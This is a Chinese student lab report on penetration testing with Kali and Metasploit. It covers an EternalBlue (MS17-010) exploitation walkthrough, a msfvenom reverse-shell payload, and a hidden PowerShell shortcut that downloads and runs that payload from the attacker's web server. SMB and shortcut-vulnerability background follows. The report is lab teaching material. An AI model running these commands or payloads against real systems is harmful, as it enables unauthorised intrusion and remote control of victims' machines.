信息系统安全——基于 KALI 和 Metasploit 的渗透测试
实验 2 基于 KALI 和 Metasploit 的渗透测试
2.1 实验名称
《基于 KALI 和 Metasploit 的渗透测试》
1 、熟悉渗透测试方法
2 、熟悉渗透测试工具 Kali 及 Metasploit 的使用
2 、选择 Kali 中 1-2 种攻击工具,记录攻击的主要步骤和攻击结果截图。
攻击一:使用 MSF 复现“永恒之蓝”漏洞
实验环境:Win7(关闭防火墙,开启 SMB 服务);
Kali Linux(metasploit-framework 6.2.26)
1 启动 Metasploit
终端里输入 msfconsole
2 查询利用模块
终端里输入 search ms17_010 ,可以看到有哪些模块可以利用

3 使用探测模块
终端内输入 use auxiliary/scanner/smb/smb_ms17_010
4 设置探测范围
终端内输入 show options ,在这里需要配置一个 RHOSTS。

终端内输入 set rhosts 192.168.3.0/24 (设置扫描当前网段) ,或可以设置范围 set rhosts 192.168.3.1- 192.168.3.10。
5 开始探测
终端内输入 run 执行探测。

根据上图我们可以看到 192.168.3.8 这个 IP 的机器可能存在漏洞。
6 开始漏洞利用
首先在终端里输入 search ms17_010 ,使用模块 use
exploit/windows/smb/ms17_010_eternalblue。

7 配置利用模块
配置模块 show options 配置靶机 set rhost 192.168.3.8 这里 IP 填第五步探测到的 IP。
8 执行攻击
在终端里输入 run 。看到 win 说明攻击成功,拿到 meterpreter。

攻击二:“震网三代”反弹 shell
实验环境:Win10(关闭防火墙);
Kali Linux(metasploit-framework 6.2.26)
1 、使用 MSF 创建一个后门
msf 内 输 入 : msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= 192.168.3.23 lport=4456 -fpsh-reflection>/var/www/html/link.ps1
2 、在 kali 下开启 apache2
终端内输入:service apache2 start
3 、在受控机上创建快捷方式
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object
Net.WebClient).DownloadString('http://192.168.204.135/link.ps1');test.ps1"

4 回到 MSF 终端配置监听
msf 内输入: use exploit/multi/handler
5 配置 payload
set payload windows/x64/meterpreter/reverse_tcp

msf 中输入:show options 配置 payload

设置 LHOST 和 LPORT ,maf 中输入:
set lhost <当前机器 ip> 设置 LHOST
set lport <未被占用的端口> 设置 LPORT

6 、执行监听
msf 中输入:run 或者 exploit

进入靶机执行我们在靶机上创建的快捷方式,稍等片刻获取到 meterpreter。

2.4 实验关键过程及其分析
攻击一:使用 MSF 复现“永恒之蓝 ”漏洞
CVE-2017-0144 ,即永恒之蓝,最早爆发于 2017 年 4 月 14 日晚,是一种利用 Windows 系统的 SMB 协议漏洞来获取系统的最高权限, 以此来控制被入侵的计算机。甚至于 2017年 5 月 12 日, 不法分子通过改造“永恒之蓝”制作了勒索病毒,使全世界大范围内遭受了勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。
SMB 是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过 SMB 协议可以在计算机间共享文件、打印机、命名管道等资源, 电脑上的网上邻居就是靠 SMB 实现的;SMB 协议工作在应用层和会话层,可以用在 TCP/IP 协议之上,SMB 使用 TCP139端口和 TCP445 端口。
SMB 工作原理:
(1)首先客户端发送一个 SMB negport 请求数据报,,并列出它所支持的所有 SMB 的协 议版本。服务器收到请求消息后响应请求,并列出希望使用的 SMB 协议版本。如果没有可以使用的协议版本则返回 0XFFFFH ,结束通信。
(2)协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送 SessetupX 请求数据包实现的。客户端发送一对用户名和密码或一个简单密码到服务器,然后通过服务器发送一个 SessetupX 应答数据包来允许或拒绝本次连接。
(3)当客户端和服务器完成了磋商和认证之后,它会发送一个 Tcon或 TconX SMB 数据报 并列出它想访问的网络资源的名称,之后会发送一个 TconX 应答数据报以表示此次连接是否接收或拒绝。
(4)连接到相应资源后,SMB 客户端就能够通过open SMB 打开一个文件,通过 read SMB 读取文件,通过write SMB 写入文件,通过 close SMB 关闭文件。
永恒之蓝是在 Windows 的 SMB 服务处理 SMB v1 请求时发生的漏洞,这个漏洞导致攻 击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放 445 文件共享端口的 Windows 机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
2017 年 6 月 13 日,微软官方发布编号为 CVE-2017-8464 的漏洞公告,官方介绍 Windows 系统在解析快捷方式时存在远程执行任意代码的高危漏洞,黑客可以通过 U 盘、网络共享 等途径触发漏洞,完全控制用户系统,安全风险高危传播的载体一般是 lnk,lnk 是 windows 系统内应用程序快捷方式文件的文件类型后缀名。被攻击机插入存在攻击 lnk 的 U 盘后会反弹 shell ,哪怕是被隔离的内网,也可以在不上网的情况下被攻击。
这种漏洞通过创建恶意快捷方式,包含恶意执行脚本,点击恶意快捷方式,导致本机中病毒,并且被远控。
相关文章:

信息系统安全——基于 KALI 和 Metasploit 的渗透测试
实验 2 基于 KALI 和 Metasploit 的渗透测试 2.1 实验名称 《基于 KALI 和 Metasploit 的渗透测试》 2.2 实验目的 1 、熟悉渗透测试方法 2 、熟悉渗透测试工具 Kali 及 Metasploit 的使用 2.3 实验步骤及内容 1 、安装 Kali 系统 2 、选择 Kali 中 1-2 种攻击工具,…...

05. 深入理解 GPT 架构
在本章的前面,我们提到了类 GPT 模型、GPT-3 和 ChatGPT 等术语。现在让我们仔细看看一般的 GPT 架构。首先,GPT 代表生成式预训练转换器,最初是在以下论文中引入的: 通过生成式预训练提高语言理解 (2018) 作者:Radford 等人,来自 OpenAI,http://cdn.openai.com/rese…...

PHP开发日志 ━━ php8.3安装与使用组件Xdebug
今天开头写点历史: 二十年前流行asp,当时用vb整合常用函数库写了一个dll给asp调用,并在此基础上开发一套仿windows界面的后台管理系统;后来asp逐渐没落,于是在十多年前转投php,不久后用php写了一套mvc框架&…...

Python - 深夜数据结构与算法之 Two-Ended BFS
目录 一.引言 二.双向 BFS 简介 1.双向遍历示例 2.搜索模版回顾 三.经典算法实战 1.Word-Ladder [127] 2.Min-Gen-Mutation [433] 四.总结 一.引言 DFS、BFS 是常见的初级搜索方式,为了提高搜索效率,衍生了剪枝、双向 BFS 以及 A* 即启发式搜索…...
langchain-Agent-工具检索
有时会定义很多工具,而定义Agent的时候只想使用与问题相关的工具,这是可以通过向量数据库来检索相关的工具,传递给Agent # Define which tools the agent can use to answer user queries search SerpAPIWrapper() search_tool Tool(name …...

猫头虎分享:探索TypeScript的世界 — TS基础入门
博主猫头虎的技术世界 🌟 欢迎来到猫头虎的博客 — 探索技术的无限可能! 专栏链接: 🔗 精选专栏: 《面试题大全》 — 面试准备的宝典!《IDEA开发秘籍》 — 提升你的IDEA技能!《100天精通Golang》…...
Unity-生命周期函数
目录 生命周期函数是什么? 生命周期函数有哪些? Awake() OnEnable() Start() FixedUpdate() Update() Late Update() OnDisable() OnDestroy() Unity中生命周期函数支持继承多态吗? 生命周期函数是什么? 在Unity中&…...
SQL概述及SQL分类
SQL由IBM上世纪70年代开发出来,是使用关系模型的数据库应用型语言,与数据直接打交道。 SQL标准 SQL92,SQL99,他们分别代表了92年和99年颁布的SQL标准,我们今天使用的SQL语言依旧遵循这些标准。 SQL的分类 DDL:数据定…...

[VSCode] VSCode 常用快捷键
文章目录 VSCode 源代码编辑器VSCode 常用快捷键分类汇总01 编辑02 导航03 调试04 其他05 重构06 测试07 扩展08 选择09 搜索10 书签11 多光标12 代码片段13 其他 VSCode 源代码编辑器 官网:https://code.visualstudio.com/ 下载地址:https://code.visua…...
函数指针和回调函数 以及指针函数
函数指针(Function Pointer): 定义: 函数指针是指向函数的指针,它存储了函数的地址。函数的二制制代码存放在内存四区中的代码段,函数的地址它在内存中的开始地址。如果把函数的地址作为参数,就…...

京东年度数据报告-2023全年度游戏本十大热门品牌销量(销额)榜单
同笔记本市场类似,2023年度游戏本市场的整体销售也呈下滑态势。根据鲸参谋电商数据分析平台的相关数据显示,京东平台上游戏本的年度销量累计超过350万,同比下滑约6%;销售额将近270亿,同比下滑约11%。 鲸参谋综合了京东…...

秒懂百科,C++如此简单丨第十二天:ASCLL码
目录 必看信息 Everyday English 📝ASCLL码是什么? 📝ASCLL码表 📝利用ASCLL码实现大写转小写 📝小试牛刀 总结 必看信息 ▶本篇文章由爱编程的小芒果原创,未经许可,严禁转载。 ▶本篇文…...

Qt6入门教程 4:Qt Creator常用技巧
在上一篇Qt6入门教程 3:创建Hello World项目中,通过创建一个Qt项目,对Qt Creator已经有了比较直观的认识,本文将介绍它的一些常用技巧。 Qt Creator启动后默认显示欢迎页面 创建项目已经用过了,打开项目也很简单&#…...

阴盘奇门八字排盘马星位置计算方法php代码
如下位置,马星的四个位置。 计算方法: 1。先根据出生年月日,计算得八字四柱。比如 2024年01月09日,四柱为 其中时柱地支为“申” 2。然后根据以下对应的数组,来找到id号,即马星位置。 根据下表来找到&am…...
vue3 使用 jsoneditor
vue3 使用 jsoneditor 在main.js中引入 样式文件 import jsoneditor/dist/jsoneditor.css复制代码放到文件中就能用了 jsoneditor.vue <template><div ref"jsonDom" style"width: 100%; height: 460px"></div> </template> <…...
若依前后端分离版使用mybatis-plus实践教程
1、根目录得pom加入依赖 <properties><mybatis-plus.version>3.5.1</mybatis-plus.version> </properties> <dependencies><!-- mp配置--><dependency><groupId>com.baomidou</groupId><artifactId>mybatis-plus…...
SpringBoot-Dubbo-Zookeeper
Apache Dubbo:https://cn.dubbo.apache.org/zh-cn/overview/home/ 依赖 <!--dubbo--> <dependency><groupId>org.apache.dubbo</groupId><artifactId>dubbo-spring-boot-starter</artifactId><version>2.7.3</versio…...
华为HCIE课堂笔记第十二章 ICMPv6和NDP协议
第十二章 ICMPv6和NDP 12.1 背景 ICMPv6协议用于IPV6协议的消息传递:地址解析、重复地址检测、无状态地址配置、NDP协议、路径MTU发现。 12.2 ICMPv6介绍 ICMPv6的头部字段包含Type字段、Code字段、校验和字段。 消息分为两种: 查错消息ÿ…...
GNSS科研常用相关网站及资源
代码类: Github GitHub: Let’s build from here GitHub 导航相关开源项目 GNSS:RTKLIB、GAMP II-GOOD、GPSTest、GNSSLogger 组合导航:ignav、VINS、Multi_Sensor_Fusion Gitee(从Github导入后快速下载库) Gi…...

进程的创建与回收学习笔记
目录 一、进程内容: 二、进程常用命令 三、创建子进程 四、子进程进阶 五、进程的退出 六、进程的回收 一、进程内容: 程序: 存放在磁盘上的指令和数据的有序集合(文件) 静态的 进程: 执行一个程序所…...
React hook之useRef
React useRef 详解 useRef 是 React 提供的一个 Hook,用于在函数组件中创建可变的引用对象。它在 React 开发中有多种重要用途,下面我将全面详细地介绍它的特性和用法。 基本概念 1. 创建 ref const refContainer useRef(initialValue);initialValu…...
在rocky linux 9.5上在线安装 docker
前面是指南,后面是日志 sudo dnf config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo sudo dnf install docker-ce docker-ce-cli containerd.io -y docker version sudo systemctl start docker sudo systemctl status docker …...

苍穹外卖--缓存菜品
1.问题说明 用户端小程序展示的菜品数据都是通过查询数据库获得,如果用户端访问量比较大,数据库访问压力随之增大 2.实现思路 通过Redis来缓存菜品数据,减少数据库查询操作。 缓存逻辑分析: ①每个分类下的菜品保持一份缓存数据…...
Python爬虫(二):爬虫完整流程
爬虫完整流程详解(7大核心步骤实战技巧) 一、爬虫完整工作流程 以下是爬虫开发的完整流程,我将结合具体技术点和实战经验展开说明: 1. 目标分析与前期准备 网站技术分析: 使用浏览器开发者工具(F12&…...

用机器学习破解新能源领域的“弃风”难题
音乐发烧友深有体会,玩音乐的本质就是玩电网。火电声音偏暖,水电偏冷,风电偏空旷。至于太阳能发的电,则略显朦胧和单薄。 不知你是否有感觉,近两年家里的音响声音越来越冷,听起来越来越单薄? —…...
PAN/FPN
import torch import torch.nn as nn import torch.nn.functional as F import mathclass LowResQueryHighResKVAttention(nn.Module):"""方案 1: 低分辨率特征 (Query) 查询高分辨率特征 (Key, Value).输出分辨率与低分辨率输入相同。"""def __…...

Golang——9、反射和文件操作
反射和文件操作 1、反射1.1、reflect.TypeOf()获取任意值的类型对象1.2、reflect.ValueOf()1.3、结构体反射 2、文件操作2.1、os.Open()打开文件2.2、方式一:使用Read()读取文件2.3、方式二:bufio读取文件2.4、方式三:os.ReadFile读取2.5、写…...

基于PHP的连锁酒店管理系统
有需要请加文章底部Q哦 可远程调试 基于PHP的连锁酒店管理系统 一 介绍 连锁酒店管理系统基于原生PHP开发,数据库mysql,前端bootstrap。系统角色分为用户和管理员。 技术栈 phpmysqlbootstrapphpstudyvscode 二 功能 用户 1 注册/登录/注销 2 个人中…...
Python实现简单音频数据压缩与解压算法
Python实现简单音频数据压缩与解压算法 引言 在音频数据处理中,压缩算法是降低存储成本和传输效率的关键技术。Python作为一门灵活且功能强大的编程语言,提供了丰富的库和工具来实现音频数据的压缩与解压。本文将通过一个简单的音频数据压缩与解压算法…...
6️⃣Go 语言中的哈希、加密与序列化:通往区块链世界的钥匙
Go 语言中的哈希、加密与序列化:通往区块链世界的钥匙 一、前言:离区块链还有多远? 区块链听起来可能遥不可及,似乎是只有密码学专家和资深工程师才能涉足的领域。但事实上,构建一个区块链的核心并不复杂,尤其当你已经掌握了一门系统编程语言,比如 Go。 要真正理解区…...